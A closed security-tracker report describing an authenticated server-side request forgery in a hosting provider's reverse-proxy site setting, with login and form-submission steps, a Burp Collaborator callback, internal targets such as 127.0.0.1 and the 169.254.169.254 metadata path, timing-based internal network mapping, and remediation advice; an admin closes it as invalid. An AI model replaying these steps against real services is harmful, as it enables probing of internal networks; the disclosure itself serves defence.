Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by MarkCotton - 02.09.2026
Last edited by cbay - 03.09.2026

FS#470 - SSRF — reverse_proxy upstream (`url` / script_upstream_uri): no save-time guard, full-read reflected

Summary
The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.

An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).

Live testing shows:
There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure.
The upstream response is fully reflected to the requester.
The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.

Affected Component
Endpoint:
https://admin.alwaysdata.com/site/<id>/

Site type: reverse_proxy

Field: url ("Remote URL")

The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.

The fetch is executed by Alwaysdata infrastructure. Responses carry:

via: 1.1 alproxy

For external upstreams, a second hop was also observed:

mchunt.alwaysdata.net

Egress infrastructure IPs observed at Collaborator:

185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce

Preconditions:
Web session for account A and a Burp Collaborator host $C.

1. Log in

GET /login/

Grab the CSRF token and then:

POST /login/

with:

csrfmiddlewaretoken
login
password

The response sets the sessionid cookie.

2. Render the reverse_proxy subform

GET /site/1072866/?_field_type=reverse_proxy

This reveals the field:

url

labelled "Remote URL".

3. Save the site as a reverse proxy pointing at the attacker

Re-serialize the form and submit:

POST /site/1072866/

with:

type=reverse_proxy&url=http://poc.$C/upstream

plus the addresses formset.

Response:

302 → /site/

The configuration is accepted with no validation error.

Wait approximately 20 seconds for the install task.

4. Trigger the fetch

GET http://mchunt.alwaysdata.net/reqpath

The response body is the Collaborator's response.

Response headers show:

server: Burp Collaborator
via: 1.1 alproxy

Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.

5. Internal differential

Repeat step 3 with the following upstream URLs and re-request the site:

http://127.0.0.1:80/

HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.

http://127.0.0.1:6379/

→ 503 in ~0.6 seconds (connection refused).

http://169.254.169.254/

→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).

http://10.0.0.1/

→ 503 in ~1.5 seconds (fast RST → host on the internal segment).

http://192.168.0.1/ http://172.16.0.1/

→ 503 after ~20 seconds (filtered / no route).

In every case, the save succeeds with no guard error and the reachable body is reflected back.

6. Redirect behavior

Using:

url=http://google.com/

returns the raw:

301 Moved

upstream response.

The proxy does not follow redirects, so the  FS#460  redirect-follow variant does not apply here.

PoC
poc/ssrf_reverse_proxy_reflected.sh
Helpers:

rp_edit.py
form_submit.py
Evidence

External reflected read (request-time):
Collaborator HTTP log:

GET /upstream/reqtime HTTP/1.1
Host: rpsave.<collab>
via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net
X-Forwarded-For: <my-ip>
X-Forwarded-Host: mchunt.alwaysdata.net

HTTP 200, with the upstream body reflected to me.

No-guard save:

POST /site/1072866/

with:

url=http://169.254.169.254/latest/meta-data/

Response:

302 → /site/

The save succeeds.

Re-reading the edit form shows:

name="url" value="http://169.254.169.254/latest/meta-data/"

The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.

Impact

This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.

The fetch node routes into the internal 10.0.0.0/8 datacenter network.

Demonstrated impact:

Reflected full-read SSRF
Internal network reachability

Remediation
Apply an egress allow/deny policy on the reverse_proxy upstream fetch.

Specifically:

Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time.
Re-validate the destination after every DNS resolution and redirect.
Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability.
Confirm that the  FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.

Closed by  cbay
03.09.2026 07:31
Reason for closing:  Invalid
Admin
cbay commented on 03.09.2026 07:31

Hello,

What you reports is not specific to the reverse proxy web site. All those URLs are accessible by our clients over SSH, for instance.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing